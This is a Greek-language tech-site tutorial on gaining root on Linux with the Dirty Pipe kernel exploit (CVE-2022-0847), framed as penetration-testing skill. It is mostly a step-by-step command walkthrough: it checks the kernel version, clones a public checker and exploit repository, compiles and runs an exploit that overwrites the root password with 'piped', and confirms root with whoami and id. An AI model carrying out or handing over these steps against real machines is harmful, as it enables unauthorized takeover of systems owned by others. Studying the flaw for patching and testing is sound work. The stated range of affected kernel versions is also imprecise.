Privilege Escalation σε Linux συστήματα με το Dirty Pipe Exploit

Συχνά, μετά την επιτυχή παραβίαση ενός συστήματος, περιοριζόμαστε στα προνόμια του χρήστη που έχει παραβιαστεί. Οι απλοί χρήστες στα συστήματα έχουν συνήθως πολύ περιορισμένα δικαιώματα και δεν μπορούν να έχουν πρόσβαση σε πολλούς από τους καταλόγους ή να κάνουν αλλαγές στα συστήματα και τους πόρους τους (βάσεις δεδομένων κ.λπ.). Αυτός είναι ένας από τους πολλούς τρόπους με τους οποίους οι διαχειριστές συστημάτων ασφαλίζουν τα δίκτυά τους.

Παρόλο που έχουν περιορισμένα προνόμια, οι απλοί χρήστες είναι συνήθως πιο εύκολο να παραβιαστούν από τον διαχειριστή του συστήματος, καθώς είναι συνήθως λιγότερο ευαισθητοποιημένοι σε θέματα ασφάλειας. Είναι πιο επιρρεπείς στο να υποκύψουν σε κακόβουλους συνδέσμους και άλλες επιθέσεις κοινωνικής μηχανικής και συχνά χρησιμοποιούν αδύναμους κωδικούς πρόσβασης.

Για όλους αυτούς τους λόγους, είναι πολύ πιο πιθανό να θέσετε σε κίνδυνο έναν απλό χρήστη με περιορισμένα προνόμια παρά έναν διαχειριστή συστήματος με δικαιώματα root.

dirty pipe option 2

Για να αναλάβετε τον έλεγχο των συστημάτων και του δικτύου θα πρέπει να κλιμακώσετε τα προνόμια στον διαχειριστή συστήματος του Linux. Υπάρχει μεγάλη ποικιλία τεχνικών για την κλιμάκωση των προνομίων, όπως,

  1. Kernel Exploits

  2. SUID/SGID misconfigurations

  3. sudo

  4. commands with escape characters

  5. Service Exploits

  6. Weak File Permissions

  7. Environment Variables

  8. Abusing Intended Functionality

Σε αυτό τον οδηγό, θα εξετάσουμε ένα kernel exploit για την κλιμάκωση προνομίων που ονομάζεται DirtyPipe. Δημιουργήθηκε από τον Max Kellerman σαν CVE-2022-0847.

Το DirtyPipe είναι μια τοπική ευπάθεια κλιμάκωσης προνομίων στον πυρήνα του Linux, που επιτρέπει σε έναν hacker μέσα στο τοπικό δίκτυο να παρακάμψει ΟΠΟΙΑΔΗΠΟΤΕ δικαιώματα αρχείων και να γράψει αυθαίρετα δεδομένα σε οποιοδήποτε αρχείο υπό ορισμένες συνθήκες. Αυτό σημαίνει ότι αρχεία όπως το /etc/shadow, όπου αποθηκεύονται hashes στο σύστημα, μπορούν να αντικατασταθούν με έναν νέο κωδικό πρόσβασης.

Βήμα #1: Δοκιμάζοντας την ευπάθεια

Το πρώτο βήμα είναι να προσδιορίσετε αν ο πυρήνας του Linux σας είναι ευάλωτος στο Dirty Pipe. Σε αυτή την περίπτωση, χρησιμοποιώ το Kali 2021.

Γνωρίζουμε ότι ο πυρήνας Linux μετά την έκδοση 5.8 είναι ευάλωτος και ότι αυτή η ευπάθεια διορθώθηκε στην έκδοση 5.16. Μπορούμε να προσδιορίσουμε ότι η έκδοση του πυρήνα Linux με τη χρήση της εντολής uname στο Linux.

kali > uname -a

dirty

Όπως μπορείτε να δείτε, αυτή η έκδοση του Kali χρησιμοποιεί τον πυρήνα Linux 5.10.0. Αυτή μπορεί να την κάνει ευάλωτη στο Dirty Pipe καθώς βρίσκεται μεταξύ της πρώτης ευάλωτης έκδοσης του πυρήνα και των διορθωμένων εκδόσεων του πυρήνα!

Για να είμαστε πιο σίγουροι, ας κατεβάσουμε τον DirtyPipe checker. Είναι διαθέσιμο στη διεύθυνση

https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker

kali > sudo git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker

dirty0

Στη συνέχεια, πλοηγηθείτε στο νέο κατάλογο.

kali> cd CVE-2022-0847-dirty-pipe-checker

Τώρα, εκτελέστε το bash script dpipe.sh

kali > sudo dpipe.sh

dirty1

Όπως μπορείτε να δείτε παραπάνω, ο ελεγκτής επιβεβαίωσε ότι ο πυρήνας Linux είναι ευάλωτος στην εκμετάλλευση κλιμάκωσης προνομίων Dirty Pipe!

Βήμα #2: Κατεβάστε το Exploit

Τώρα που γνωρίζουμε ότι αυτή η έκδοση Linux είναι ευάλωτη, ας προσπαθήσουμε να την εκμεταλλευτούμε για να αποκτήσουμε δικαιώματα root.

Πρώτα, κατεβάστε το exploit,

kali > sudo git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

Στη συνέχεια, πλοηγηθείτε στο νέο κατάλογο.

Τώρα που βρισκόμαστε σε αυτόν τον κατάλογο, ας ρίξουμε μια ματιά στο εσωτερικό του.

kali > ls -l

dirty2

Όπως μπορείτε να δείτε παραπάνω, υπάρχουν δύο exploits και ένα compile script. Πρέπει να εκτελέσουμε το script για να χρησιμοποιήσουμε αυτά τα exploits. Το compile script θα μεταγλωττίσει αυτόματα και τα δύο exploits.

kali > sudo ./compile.sh

dirty3

Αφού το κάνετε αυτό, τα δύο exploits θα γίνουν πράσινα και θα είναι έτοιμα για εκτέλεση.

Ας τρέξουμε πρώτα το exploit-1

kali> sudo ./exploit-1

dirty4

Φαίνεται ότι λειτούργησε και άλλαξε τον κωδικό πρόσβασης root σε “piped”!

Βήμα #3: Συνδεθείτε ως Root

Ας δοκιμάσουμε τώρα να δούμε αν μπορούμε να συνδεθούμε ως root.

kali> su root

Στη συνέχεια, πληκτρολογήστε το νέο κωδικό πρόσβασης “piped”

Αφού το κάνετε αυτό, εισαγάγετε την εντολή whoami του Linux,

#whoami

root

dirty5

Για να επιβεβαιώσετε περαιτέρω ότι έχετε δικαιώματα root, δοκιμάστε να εκτελέσετε την εντολή id του Linux

#id

uid=0(root) groups=0(root), ……..

Τελειώσαμε!

Τώρα έχετε δικαιώματα root στο σύστημα και μπορείτε να κάνετε ό,τι θέλετε!

Σύνοψη

Η κλιμάκωση των προνομίων είναι μία από τις βασικές δεξιότητες ενός penetration tester. Σε πολλές περιπτώσεις, εκμεταλλευόμαστε έναν απλό χρήστη χωρίς τα προνόμια που χρειαζόμαστε για να πάρουμε τον έλεγχο του συστήματος/δικτύου. Το kernel exploit του DirtyPipe είναι ένα εξαιρετικό εργαλείο για την κλιμάκωση των προνομίων των συστημάτων Linux που κυκλοφόρησαν περίπου το 2021-2022.

iGuRu.gr The Best Technology Site in Greeceggns

Get the best viral stories straight into your inbox!















Written by Anastasis Vasileiadis

Οι μεταφράσεις είναι σαν τις γυναίκες. Όταν είναι ωραίες δεν είναι πιστές και όταν είναι πιστές δεν είναι ωραίες.

Αφήστε μια απάντηση

Η ηλ. διεύθυνση σας δεν δημοσιεύεται. Τα υποχρεωτικά πεδία σημειώνονται με *

Το μήνυμα σας δεν θα δημοσιευτεί εάν:
1. Περιέχει υβριστικά, συκοφαντικά, ρατσιστικά, προσβλητικά ή ανάρμοστα σχόλια.
2. Προκαλεί βλάβη σε ανηλίκους.
3. Παρενοχλεί την ιδιωτική ζωή και τα ατομικά και κοινωνικά δικαιώματα άλλων χρηστών.
4. Διαφημίζει προϊόντα ή υπηρεσίες ή διαδικτυακούς τόπους .
5. Περιέχει προσωπικές πληροφορίες (διεύθυνση, τηλέφωνο κλπ).